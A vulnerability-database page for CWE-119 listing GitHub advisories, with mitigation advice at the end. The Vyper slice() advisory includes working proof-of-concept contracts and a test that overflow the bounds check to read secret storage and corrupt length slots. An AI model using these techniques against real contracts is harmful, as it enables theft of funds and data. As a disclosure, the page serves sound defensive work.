Common Weakness Enumeration

CWE-119

Discouraged

Improper Restriction of Operations within the Bounds of a Memory Buffer

Abstraction: Class · Status: Stable

The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

17505 vulnerabilities reference this CWE, most recent first.

GHSA-9X7F-GWXQ-6F2C

Vulnerability from github – Published: 2024-02-01 20:51 – Updated: 2024-11-22 20:46
VLAI
Summary
Vyper's bounds check on built-in `slice()` function can be overflowed
Details

Summary

The bounds check for slices does not account for the ability for start + length to overflow when the values aren't literals.

If a slice() function uses a non-literal argument for the start or length variable, this creates the ability for an attacker to overflow the bounds check.

This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the length slot of the respective array.

A contract search was performed and no vulnerable contracts were found in production.

tracking in issue https://github.com/vyperlang/vyper/issues/3756. patched in https://github.com/vyperlang/vyper/pull/3818.

Details

Here the flow for storage is supposed, but it is generalizable also for the other locations.

When calling slice() on a storage value, there are compile time bounds checks if the start and length values are literals, but of course this cannot happen if they are passed values:

if not is_adhoc_slice:
    if length_literal is not None:
        if length_literal < 1:
            raise ArgumentException("Length cannot be less than 1", length_expr)

        if length_literal > arg_type.length:
            raise ArgumentException(f"slice out of bounds for {arg_type}", length_expr)

    if start_literal is not None:
        if start_literal > arg_type.length:
            raise ArgumentException(f"slice out of bounds for {arg_type}", start_expr)
        if length_literal is not None and start_literal + length_literal > arg_type.length:
            raise ArgumentException(f"slice out of bounds for {arg_type}", node)

At runtime, we perform the following equivalent check, but the runtime check does not account for overflows:

["assert", ["le", ["add", start, length], src_len]],  # bounds check

The storage slice() function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the start or length value, they can force an overflow and access an unrelated storage slot.

In most cases, this will mean they have the ability to forcibly return 0 for the slice, even if this shouldn't be possible. In extreme cases, it will mean they can return another unrelated value from storage.

POC: OOB access

For simplicity, take the following Vyper contract, which takes an argument to determine where in a Bytes[64] bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.

# @version ^0.3.9

x: public(Bytes[64])
secret: uint256

@external
def __init__():
    self.x = empty(Bytes[64])
    self.secret = 42

@external
def slice_it(start: uint256) -> Bytes[64]:
    return slice(self.x, start, 64)

We can use the following manual storage to demonstrate the vulnerability:

{"x": {"type": "bytes32", "slot": 0}, "secret": {"type": "uint256", "slot": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}

If we run the following test, passing max - 63 as the start value, we will overflow the bounds check, but access the storage slot at 1 + (2**256 - 63) / 32, which is what was set in the above storage layout:

function test__slice_error() public {
    c = SuperContract(deployer.deploy_with_custom_storage("src/loose/", "slice_error", "slice_error_storage"));
    bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63
    console.logBytes(result);
}

The result is that we return the secret value from storage:

Logs:
0x0000...00002a

POC: length corruption

OOG exception doesn't have to be raised - because of the overflow, only a few bytes can be copied, but the length slot is set with the original input value.

d: public(Bytes[256])

@external
def test():
    x : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256-1
    self.d = b"\x01\x02\x03\x04\x05\x06"
    # s : Bytes[256] = slice(self.d, 1, x)
    assert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935

The corruption of length can be then used to read dirty memory:

@external
def test():
    x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935  # 2**256 - 1
    y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850   # 0x3232323232323232323232323232323232323232323232323232323232323232
    z: uint96 = 1
    if True:
        placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y]
    s :String[32] = slice(uint2str(z), 1, x)    # uint2str(z) == "1"
    #print(len(s))
    assert slice(s, 1, 2) == "22"

Impact

The built-in slice() method can be used for OOB accesses or the corruption of the length slot.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.10"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "vyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-24561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-01T20:51:32Z",
    "nvd_published_at": "2024-02-01T17:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n[The bounds check for slices](https://github.com/vyperlang/vyper/blob/b01cd686aa567b32498fefd76bd96b0597c6f099/vyper/builtins/functions.py#L404-L457) does not account for the ability for `start + length` to overflow when the values aren\u0027t literals. \n\nIf a `slice()` function uses a non-literal argument for the `start`  or `length` variable, this creates the ability for an attacker to overflow the bounds check. \n\nThis issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the `length` slot of the respective array.\n\nA contract search was performed and no vulnerable contracts were found in production.\n\ntracking in issue https://github.com/vyperlang/vyper/issues/3756.\npatched in https://github.com/vyperlang/vyper/pull/3818.\n\n## Details\nHere the flow for `storage` is supposed, but it is generalizable also for the other locations.\n\nWhen calling `slice()` on a storage value, there are compile time bounds checks if the `start` and `length` values are literals, but of course this cannot happen if they are passed values:\n\n```python\nif not is_adhoc_slice:\n    if length_literal is not None:\n        if length_literal \u003c 1:\n            raise ArgumentException(\"Length cannot be less than 1\", length_expr)\n\n        if length_literal \u003e arg_type.length:\n            raise ArgumentException(f\"slice out of bounds for {arg_type}\", length_expr)\n\n    if start_literal is not None:\n        if start_literal \u003e arg_type.length:\n            raise ArgumentException(f\"slice out of bounds for {arg_type}\", start_expr)\n        if length_literal is not None and start_literal + length_literal \u003e arg_type.length:\n            raise ArgumentException(f\"slice out of bounds for {arg_type}\", node)\n```\n\nAt runtime, we perform the following equivalent check, but the runtime check does not account for overflows:\n```python\n[\"assert\", [\"le\", [\"add\", start, length], src_len]],  # bounds check\n```\n\nThe storage `slice()` function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the `start`  or `length` value, they can force an overflow and access an unrelated storage slot.\n\nIn most cases, this will mean they have the ability to forcibly return `0` for the slice, even if this shouldn\u0027t be possible. In extreme cases, it will mean they can return another unrelated value from storage.\n\n## POC: OOB access\n\nFor simplicity, take the following Vyper contract, which takes an argument to determine where in a `Bytes[64]` bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.\n\n```python\n# @version ^0.3.9\n\nx: public(Bytes[64])\nsecret: uint256\n\n@external\ndef __init__():\n    self.x = empty(Bytes[64])\n    self.secret = 42\n\n@external\ndef slice_it(start: uint256) -\u003e Bytes[64]:\n    return slice(self.x, start, 64)\n```\n\nWe can use the following manual storage to demonstrate the vulnerability:\n```json\n{\"x\": {\"type\": \"bytes32\", \"slot\": 0}, \"secret\": {\"type\": \"uint256\", \"slot\": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}\n```\n\nIf we run the following test, passing `max - 63` as the `start` value, we will overflow the bounds check, but access the storage slot at `1 + (2**256 - 63) / 32`, which is what was set in the above storage layout:\n```solidity\nfunction test__slice_error() public {\n    c = SuperContract(deployer.deploy_with_custom_storage(\"src/loose/\", \"slice_error\", \"slice_error_storage\"));\n    bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63\n    console.logBytes(result);\n}\n```\n\nThe result is that we return the secret value from storage:\n```\nLogs:\n0x0000...00002a\n```\n## POC: `length` corruption\n`OOG` exception doesn\u0027t have to be raised - because of the overflow, only a few bytes can be copied, but the `length` slot is set with the original input value.\n\n```python\nd: public(Bytes[256])\n\t\n@external\ndef test():\n\tx : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256-1\n\tself.d = b\"\\x01\\x02\\x03\\x04\\x05\\x06\"\n\t# s : Bytes[256] = slice(self.d, 1, x)\n\tassert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935\n```\nThe corruption of `length` can be then used to read dirty memory:\n```python\n@external\ndef test():\n    x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935  # 2**256 - 1\n    y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850   # 0x3232323232323232323232323232323232323232323232323232323232323232\n    z: uint96 = 1\n    if True:\n        placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y]\n    s :String[32] = slice(uint2str(z), 1, x)\t# uint2str(z) == \"1\"\n    #print(len(s))\n    assert slice(s, 1, 2) == \"22\"\n```\n\n## Impact\n\nThe built-in `slice()` method can be used for OOB accesses or the corruption of the `length` slot.",
  "id": "GHSA-9x7f-gwxq-6f2c",
  "modified": "2024-11-22T20:46:01Z",
  "published": "2024-02-01T20:51:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-9x7f-gwxq-6f2c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24561"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/issues/3756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2024-149.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vyperlang/vyper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/blob/b01cd686aa567b32498fefd76bd96b0597c6f099/vyper/builtins/functions.py#L404-L457"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vyper\u0027s bounds check on built-in `slice()` function can be overflowed"
}

GHSA-9X82-R65P-WM47

Vulnerability from github – Published: 2022-05-17 02:20 – Updated: 2022-05-17 02:20
VLAI
Details

A remote code execution vulnerability exists when Microsoft scripting engine improperly accesses objects in memory. The vulnerability could corrupt memory in a way that enables an attacker to execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user, aka "Scripting Engine Memory Corruption Vulnerability."

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-0028"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-17T13:18:00Z",
    "severity": "CRITICAL"
  },
  "details": "A remote code execution vulnerability exists when Microsoft scripting engine improperly accesses objects in memory. The vulnerability could corrupt memory in a way that enables an attacker to execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user, aka \"Scripting Engine Memory Corruption Vulnerability.\"",
  "id": "GHSA-9x82-r65p-wm47",
  "modified": "2022-05-17T02:20:12Z",
  "published": "2022-05-17T02:20:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0028"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Microsoft/ChakraCore/commit/402f3d967c0a905ec5b9ca9c240783d3f2c15724"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X8G-W8R7-7P9C

Vulnerability from github – Published: 2022-05-17 01:46 – Updated: 2025-04-11 03:57
VLAI
Details

Buffer overflow in RealNetworks RealPlayer before 15.0.4.53, and RealPlayer SP 1.0 through 1.1.5, allows remote attackers to execute arbitrary code via a crafted RealJukebox Media file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2012-2411"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-05-18T18:55:00Z",
    "severity": "HIGH"
  },
  "details": "Buffer overflow in RealNetworks RealPlayer before 15.0.4.53, and RealPlayer SP 1.0 through 1.1.5, allows remote attackers to execute arbitrary code via a crafted RealJukebox Media file.",
  "id": "GHSA-9x8g-w8r7-7p9c",
  "modified": "2025-04-11T03:57:43Z",
  "published": "2022-05-17T01:46:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-2411"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75648"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/81944"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/49193"
    },
    {
      "type": "WEB",
      "url": "http://service.real.com/realplayer/security/05152012_player/en"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1027076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9X8H-PV6G-G9R2

Vulnerability from github – Published: 2022-05-17 05:06 – Updated: 2022-05-17 05:06
VLAI
Details

Buffer overflow in the lm_tcp service in Invensys Wonderware InBatch 8.1 and 9.0, as used in Invensys Foxboro I/A Series Batch 8.1 and possibly other products, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted request to port 9001.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-4557"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-12-17T19:00:00Z",
    "severity": "HIGH"
  },
  "details": "Buffer overflow in the lm_tcp service in Invensys Wonderware InBatch 8.1 and 9.0, as used in Invensys Foxboro I/A Series Batch 8.1 and possibly other products, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted request to port 9001.",
  "id": "GHSA-9x8h-pv6g-g9r2",
  "modified": "2022-05-17T05:06:42Z",
  "published": "2022-05-17T05:06:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4557"
    },
    {
      "type": "WEB",
      "url": "http://aluigi.org/adv/inbatch_1-adv.txt"
    },
    {
      "type": "WEB",
      "url": "http://iom.invensys.com/EN/Pages/IOM_CyberSecurityUpdates.aspx"
    },
    {
      "type": "WEB",
      "url": "http://iom.invensys.com/EN/pdfLibrary/SecurityAlert_Invensys_SecurityAlert-LFSEC00000051_12-10.pdf"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42528"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/15707"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/647928"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/control_systems/pdf/ICSA-10-348-01.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/3244"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9X94-G4G3-XVX3

Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11
VLAI
Details

FreeType before 2.4.9, as used in Mozilla Firefox Mobile before 10.0.4 and other products, allows remote attackers to cause a denial of service (invalid heap read operation and memory corruption) or possibly execute arbitrary code via vectors involving the NPUSHB and NPUSHW instructions in a TrueType font.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2012-1135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-04-25T10:10:00Z",
    "severity": "HIGH"
  },
  "details": "FreeType before 2.4.9, as used in Mozilla Firefox Mobile before 10.0.4 and other products, allows remote attackers to cause a denial of service (invalid heap read operation and memory corruption) or possibly execute arbitrary code via vectors involving the NPUSHB and NPUSHW instructions in a TrueType font.",
  "id": "GHSA-9x94-g4g3-xvx3",
  "modified": "2022-05-13T01:11:57Z",
  "published": "2022-05-13T01:11:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1135"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=733512"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=800593"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2012/Sep/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2012-04/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2012-04/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2012-04/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2012-04/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48508"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48797"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48822"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48918"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48951"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48973"
    },
    {
      "type": "WEB",
      "url": "http://security.gentoo.org/glsa/glsa-201204-04.xml"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT5503"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2012:057"
    },
    {
      "type": "WEB",
      "url": "http://www.mozilla.org/security/announce/2012/mfsa2012-21.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/03/06/16"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/52318"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1026765"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1403-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9XC7-HC9Q-HFGG

Vulnerability from github – Published: 2022-05-01 02:20 – Updated: 2022-05-01 02:20
VLAI
Details

Heap-based buffer overflow in rsync in Mac OS X 10.4 through 10.4.5 allows remote authenticated users to execute arbitrary code via long extended attributes.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2005-3712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2005-12-31T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Heap-based buffer overflow in rsync in Mac OS X 10.4 through 10.4.5 allows remote authenticated users to execute arbitrary code via long extended attributes.",
  "id": "GHSA-9xc7-hc9q-hfgg",
  "modified": "2022-05-01T02:20:27Z",
  "published": "2022-05-01T02:20:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-3712"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/25029"
    },
    {
      "type": "WEB",
      "url": "http://docs.info.apple.com/article.html?artnum=303382"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2006/Mar/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/19064"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/23648"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/16907"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA06-062A.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/0791"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9XCJ-87H6-65V2

Vulnerability from github – Published: 2022-05-02 06:09 – Updated: 2022-05-02 06:09
VLAI
Details

CoreAudio in Apple Mac OS X before 10.6.3 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via crafted audio content with QDMC encoding.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-0060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-30T18:30:00Z",
    "severity": "MODERATE"
  },
  "details": "CoreAudio in Apple Mac OS X before 10.6.3 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via crafted audio content with QDMC encoding.",
  "id": "GHSA-9xcj-87h6-65v2",
  "modified": "2022-05-02T06:09:55Z",
  "published": "2022-05-02T06:09:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0060"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7513"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2010//Mar/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2010//Mar/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT4077"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9XCM-8X7R-552C

Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42
VLAI
Details

A flaw was found in libcaca v0.99.beta19. A buffer overflow issue in caca_resize function in libcaca/caca/canvas.c may lead to local execution of arbitrary code in the user context.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119",
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-23T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in libcaca v0.99.beta19. A buffer overflow issue in caca_resize function in libcaca/caca/canvas.c may lead to local execution of arbitrary code in the user context.",
  "id": "GHSA-9xcm-8x7r-552c",
  "modified": "2022-05-24T17:42:58Z",
  "published": "2022-05-24T17:42:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cacalabs/libcaca/issues/52"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1928437"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00006.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6WFGYICNTMNDNMDDUV4G2RYFB5HNJCOV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PC7EGOEQ5C4OD66ZUJJIIYEXBTZOCMZX"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZSBCRN6EGQJUVOSD4OEEQ6XORHEM2CUL"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XF5-RRG6-JJ77

Vulnerability from github – Published: 2026-03-12 03:31 – Updated: 2026-03-12 03:31
VLAI
Details

A vulnerability was determined in Tenda W3 1.0.0.3(2204). This affects the function formSetAutoPing of the file /goform/setAutoPing of the component POST Parameter Handler. This manipulation of the argument ping1/ping2 causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-3973"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-12T02:15:58Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was determined in Tenda W3 1.0.0.3(2204). This affects the function formSetAutoPing of the file /goform/setAutoPing of the component POST Parameter Handler. This manipulation of the argument ping1/ping2 causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.",
  "id": "GHSA-9xf5-rrg6-jj77",
  "modified": "2026-03-12T03:31:06Z",
  "published": "2026-03-12T03:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3973"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Svigo-o/Tenda_vul/tree/main/tenda-w3-setautoping-ping1-buffer-overflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Svigo-o/Tenda_vul/tree/main/tenda-w3-setautoping-ping2-buffer-overflow"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.350408"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.350408"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.769173"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.769176"
    },
    {
      "type": "WEB",
      "url": "https://www.tenda.com.cn"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9XFG-9JRH-8C3V

Vulnerability from github – Published: 2022-05-01 18:40 – Updated: 2022-05-01 18:40
VLAI
Details

Heap-based buffer overflow in cygwin1.dll in Cygwin 1.5.7 and earlier allows context-dependent attackers to execute arbitrary code via a filename with a certain length, as demonstrated by a remote authenticated user who uses the SCP protocol to send a file to the Cygwin machine, and thereby causes scp.exe on this machine to execute, and then overwrite heap memory with characters from the filename. NOTE: it is also reported that a related issue might exist in 1.5.7 through 1.5.19.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-6181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-11-30T00:46:00Z",
    "severity": "HIGH"
  },
  "details": "Heap-based buffer overflow in cygwin1.dll in Cygwin 1.5.7 and earlier allows context-dependent attackers to execute arbitrary code via a filename with a certain length, as demonstrated by a remote authenticated user who uses the SCP protocol to send a file to the Cygwin machine, and thereby causes scp.exe on this machine to execute, and then overwrite heap memory with characters from the filename. NOTE: it is also reported that a related issue might exist in 1.5.7 through 1.5.19.",
  "id": "GHSA-9xfg-9jrh-8c3v",
  "modified": "2022-05-01T18:40:21Z",
  "published": "2022-05-01T18:40:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6181"
    },
    {
      "type": "WEB",
      "url": "http://cygwin.com/ml/cygwin-developers/2007-11/msg00005.html"
    },
    {
      "type": "WEB",
      "url": "http://cygwin.com/ml/cygwin-developers/2007-11/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "http://cygwin.com/ml/cygwin-developers/2007-11/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3406"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/484153/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26557"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
  • Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Operation Build and Compilation

Strategy: Environment Hardening

  • Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
  • D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
Implementation
  • Consider adhering to the following rules when allocating and managing an application's memory:
  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
